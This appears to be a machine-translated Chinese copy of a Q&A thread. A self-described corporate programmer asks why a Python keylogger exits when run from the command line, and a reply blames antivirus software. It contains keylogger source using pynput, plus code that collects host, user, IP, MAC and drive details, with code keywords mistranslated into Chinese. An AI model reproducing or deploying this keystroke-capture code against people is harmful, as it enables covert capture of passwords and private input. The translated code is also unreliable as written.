Python键盘记录器-从CMD执行时不保持键盘侦听器打开

Python键盘记录器-从CMD执行时不保持键盘侦听器打开,python,keylogger,system-information,Python,Keylogger,System Information,在我们开始之前 我对Python相当陌生,任何帮助或洞察都将是非常棒的 这不是恶意键盘记录器,也不是病毒,我的公司将使用它来监控网络PC,仅用于安全目的。它不发送日志并将文件存储在本地。它不会试图保持隐藏状态。我是一个没有恶意的企业程序员。用户将知道正在监视击键,并且日志存储在用户的主目录中 我的Python工作得非常好,正如在空闲编辑器中所期望的那样。但是,在从命令行运行代码时,它不会继续执行,脚本将退出 我试图将代码逐行移植到不同的工作版本,删除任何额外的内容。添加单行中断或导入似乎会完全中

在我们开始之前

我对Python相当陌生,任何帮助或洞察都将是非常棒的

这不是恶意键盘记录器,也不是病毒,我的公司将使用它来监控网络PC,仅用于安全目的。它不发送日志并将文件存储在本地。它不会试图保持隐藏状态。我是一个没有恶意的企业程序员。用户将知道正在监视击键,并且日志存储在用户的主目录中

我的Python工作得非常好,正如在空闲编辑器中所期望的那样。但是,在从命令行运行代码时,它不会继续执行,脚本将退出

我试图将代码逐行移植到不同的工作版本,删除任何额外的内容。添加单行中断或导入似乎会完全中断脚本

以下代码可以工作,执行时不会退出。它将继续记录并按预期工作。从CMD运行时,进程保持打开状态:


从os.path导入expanduser
home=expanduser(“~”)
从pynput.keyboard导入键,侦听器
导入日志记录
log_dir=r“{}/”。格式(主)
logging.basicConfig(文件名=(log_dir+“log.txt”),级别=logging.DEBUG,格式='%(asctime)s:%(消息)s')
def on_按(键):
logging.info(str(key))
将侦听器(on_press=on_press)作为侦听器:
listener.join()
但是,以下代码在执行和程序退出后不会继续记录:


从pynput.keyboard导入键,侦听器
导入时间
导入操作系统
随机输入
导入请求
导入套接字
导入平台
导入win32api
导入wmi
导入urllib.request
导入日志记录
从os.path导入expanduser
homeDir=expanduser(“~”)
SystemType=platform.system()
SystemArchitecture=platform.machine()
SystemPlatform=platform.platform()
SystemProcessor=platform.processor()
VolumeInformation=win32api.GetVolumeInformation(“C:\\”)
HostName=socket.gethostname()
SystemWMI=wmi.wmi()
publicIP=requests.get('https://api.ipify.org)。文本
privateIP=socket.gethostbyname(socket.gethostname())
user=os.path.expanduser('~').split('\\')[2]
datetime=time.ctime(time.time())
文件=打开(homeDir+“\logger.txt”,“w+”)
文件。写入(“=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n”)
打印(“主机名:”+主机名)
file.write(“主机名:“+Hostname+”\n”)
打印(“用户:”+用户)
file.write(“用户:“+User+”\n”)
打印(“公共IP:+publicIP”)
file.write(“公共IP:+publicIP+”\n”)
打印(“专用IP:+privateIP”)
file.write(“私有IP:+privateIP+”\n)
对于SystemWMI.Win32_网络适配器配置(IPEnabled=1)中的接口:
打印(“MAC地址:”+接口.MACAddress)
file.write(“MAC地址:“+interface.MACAddress+”\n”)
打印(“接口说明:”+接口说明)
file.write(“接口描述:“+Interface.Description+”\n\n”)
打印()
文件。写入(“=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n”)
如果(SystemType==“Windows”):
打印(“系统类型:“+SystemType”)
file.write(“系统类型:“+SystemType+”\n”)
打印(“系统架构:”+SystemArchitecture)
file.write(“系统架构:“+SystemArchitecture+”\n”)
打印(“系统平台:+SystemPlatform”)
file.write(“系统平台:“+SystemPlatform+”\n”)
打印(“系统处理器:“+SystemProcessor”)
file.write(“系统处理器:“+SystemProcessor+”\n\n”)
驱动器列表='abcdefghijklmnopqrstuvxyz'
ActiveDrive=['%s:'%d,如果os.path.存在,则驱动器列表中的d('%s:'%d)】
驱动器类型={
0:“未知”,
1:“没有根目录”,
2:“可移动磁盘”,
3:“本地磁盘”,
4:“网络驱动器”,
5.“光盘”,
6:“RAM磁盘”
}
打印()
文件。写入(“=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n”)
打印(“正在使用的驱动器:”)
file.write(“正在使用的驱动器:\n”)
打印(活动驱动器)
file.write(str(ActiveDrives)+“\n\n”)
打印()
文件。写入(“=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n”)
打印(“驱动器类型:”)
file.write(“驱动器类型:\n\n”)
对于SystemWMI.Win32_LogicalDisk()中的驱动器:
打印(drive.Caption,驱动器类型[drive.DriveType])
file.write(drive.Caption)
file.write(驱动器类型[DRIVE.DriveType]+“\n”)
打印()
文件。写入(“\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n”)
打印(“C:\\卷信息”)
文件。写入(“C:\\卷信息:\n”)
打印(卷信息)
file.write(str(卷信息)+“\n\n”)
打印()
文件。写入(“=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n”)
打印(“操作系统实例信息:”)
file.write(“操作系统实例信息:\n”)
对于SystemWMI.Win32_OperatingSystem()中的操作系统:
打印(操作系统)
file.write(str(os)+“\n”)
打印()
文件。写入(“=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n”)
打印(“记录击键…”)
file.write(“记录击键…\n\n”)
file.close()文件
log_dir=r“{}/”。格式(homeDir)
logging.basicConfig(文件名=(log_dir+“logger.txt”),级别=logging.DEBUG,格式='(asctime)s:%(消息)s')
def on_按(键):
打印(键)
logging.info(str(key))
将侦听器(on_press=on_press)作为侦听器:
listener.join()
即使在工作版本中添加一个导入也会破坏它。没有抛出异常

该代码在执行后将继续记录击键,但是将在没有任何错误代码的情况下退出。它在空闲时按预期工作,并继续记录,直到空闲关闭。但是,当从CMD运行时,它会在输出“记录击键…”后立即关闭


帮助?

来看看,是电脑上的防病毒软件导致程序崩溃。这可以正常工作,并且符合getgo的预期

来看看,是电脑上的防病毒软件导致了程序崩溃。这很管用